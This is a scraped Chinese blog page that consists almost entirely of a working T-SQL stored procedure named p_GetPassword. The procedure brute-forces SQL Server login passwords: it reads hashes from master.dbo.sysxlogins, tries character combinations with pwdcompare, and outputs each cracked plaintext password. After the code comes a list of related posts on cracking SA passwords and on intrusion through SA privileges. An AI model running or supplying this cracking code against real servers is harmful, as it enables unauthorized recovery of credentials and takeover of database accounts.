if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)

  drop procedure [dbo].[p_GetPassword]

  GO

  

  /*--穷举法破解 SQL Server 用户密码

  

  可以破解中文,特殊字符,字符+尾随空格的密码

  为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII

  

  理论上可以破解任意位数的密码

  条件是你的电脑配置足够,时间足够

  

  /*--调用示例

  

  exec p_GetPassword

  --*/

  create proc p_GetPassword

  @username sysname=null, --用户名,如果不指定,则列出所有用户

  @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的

  as

  set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end

  select top 255 id=identity(int,0,1) into #t from syscolumns

  alter table #t add constraint PK_#t primary key(id)

  

  select name,password

  ,type=case when xstatus&2048=2048 then 1 else 0 end

  ,jm=case when password is null then 1 else 0 end

  ,pwdstr=cast('' as sysname)

  ,pwd=cast('' as varchar(8000))

  into #pwd

  from master.dbo.sysxlogins a

  where srvid is null

  and name=isnull(@username,name)

  

  declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)

  declare @l int

  select @l=0

  ,@s1='char(aa.id)'

  ,@s2='cast(aa.id as varchar)'

  ,@s3=',#t aa'

  exec('

  update pwd set jm=1,pwdstr='+@s1+'

  ,pwd='+@s2+'

  from #pwd pwd'+@s3+'

  where pwd.jm=0

  and pwdcompare('+@s1+',pwd.password,pwd.type)=1

  ')

  while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)

  begin

  select @l=@l+1

  ,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'

  ,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'

  ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)

  exec('

  update pwd set jm=1,pwdstr='+@s1+'

  ,pwd='+@s2+'

  from #pwd pwd'+@s3+'

  where pwd.jm=0

  and pwdcompare('+@s1+',pwd.password,pwd.type)=1

  ')

  end

  select 用户名=name,密码=pwdstr,密码ASCII=pwd

  from #pwd

  go

  

一个SQL Server Sa密码破解的存储过程相关推荐

  1. 恢复 Microsoft SQL Server SA 密码的三种方法

    如果您丢失了 SA 密码,您可能认为唯一的选择是重新安装 SQL Server 并重新附加所有用户数据库.只需在单用户模式下启动 SQL Server,您就可以使用 OSQL 命令轻松恢复 SA 密码 ...

  2. SQL Server中的功能与存储过程

    介绍 (Introduction) Usually DBAs prefer stored procedures in SQL instead of functions in SQL Server. I ...

  3. SQL Server中的功能和存储过程比较

    介绍 (Introduction) In a previous article, Functions vs stored procedures in SQL Server, we compared F ...

  4. Windows Server 2008密码破解

    Windows Server 2008密码破解 ant 案例背景: 1.Windows Server 2008 R2的DD镜像文件一个,大小:1TB,文件名:1.001 2.用户名.密码未知. 案例目 ...

  5. 如何去重一个SQL Server表

    前面我写了个博客记录如何去重一个oracle表(link), 主要是利用了oracle的rowid伪列和row_number()分析函数. 有读者写邮件问, 如何去重一个SQL Server表, 场景 ...

  6. 获取SQL SERVER某个数据库中所有存储过程的参数

    2019独角兽企业重金招聘Python工程师标准>>> 一.获取指定数据库中所有存储过程的参数的方法 SELECT sp.object_Id as FunctionId, sp.na ...

  7. SQL Server无法删除数据库 xxx,因为该数据库当前正在使用(如何删除一个Sql Server数据库)

    1.一般情况下删除一个Sql Server数据库: 新建查询→输入"drop database xxx(xxx为数据库名)"→执行. 但有时会报错:无法删除数据库 "li ...

  8. SQL Server 2005中创建CLR存储过程

    在2005之前的版本创建存储过程都是在数据库里面写Transact-SQL语言实现的,不过现在SQL Server 2005支持用其他面向对象的语言编写CLR存储过程了,关于这样做的好处,官方有很多解 ...

  9. Microsoft SQL Server SA权限最新入侵方法

    在获得SA密码后,往往因为服务器管理者或"前人"将net.exe和net1.exe被限制使用,无法添加管理员账号.我们知道VBS在活动目录(ADSI)部分有一个winnt对象,用来 ...

最新文章

  1. 125.数据传输方式
  2. 有限个极限运算及常见错误小结
  3. 【Linux】11.将ubuntu电脑设置为一台可远程ssh或sftp访问的服务器
  4. 深入理解Java的equals和hashCode方法
  5. 静态编译qemu_使用QEMU chroot进行固件本地调试
  6. 搜狗浏览器也可以直接安装Chrome插件,太棒了
  7. 卷积神经网络(CNN)与特殊的卷积
  8. mysql 当前timestamp_MySQL表结构使用timestamp以自动获取当前时间
  9. lvs+keepalived+nginx实现高性能负载均衡集群 高性能jsp集群
  10. 一个计算机高手的成长zz
  11. 3.netwox网络工具集入门教程
  12. Cesium 鼠标单击和双击事件
  13. [Winter Vacation] 语文实词虚词练习册答案
  14. linux下的定时任务
  15. Navigator对象,获取浏览器类型userAgent,机器类型platform
  16. 电脑运行应用程序出现0xc000007b的解决方法
  17. 英特尔发布酷睿系列 | 历史上的今天
  18. Linux驱动01 - Timer
  19. 如何利用PuTTY连接Windows主机和Linux虚拟机
  20. 机器人及无人驾驶领域真实人才供需状况如何?企业真正需要什么样的人才?

热门文章

  1. Hadoop学习笔记系列文章导航
  2. Python正则表达式集锦
  3. PHP实现飞信接口来通过网页免费发短信
  4. dllinject使用
  5. 01-将自己的Ubuntu电脑设置为一台可远程访问的服务器
  6. Ubuntu12.04下解决sudo apt-get update警告Duplicate sources.list entry
  7. 开发自己的区块链基础功能篇
  8. oracle 导入Excel数据
  9. linux下如何实现mysql数据库每天自动备份定时备份
  10. 图像处理之log---log算子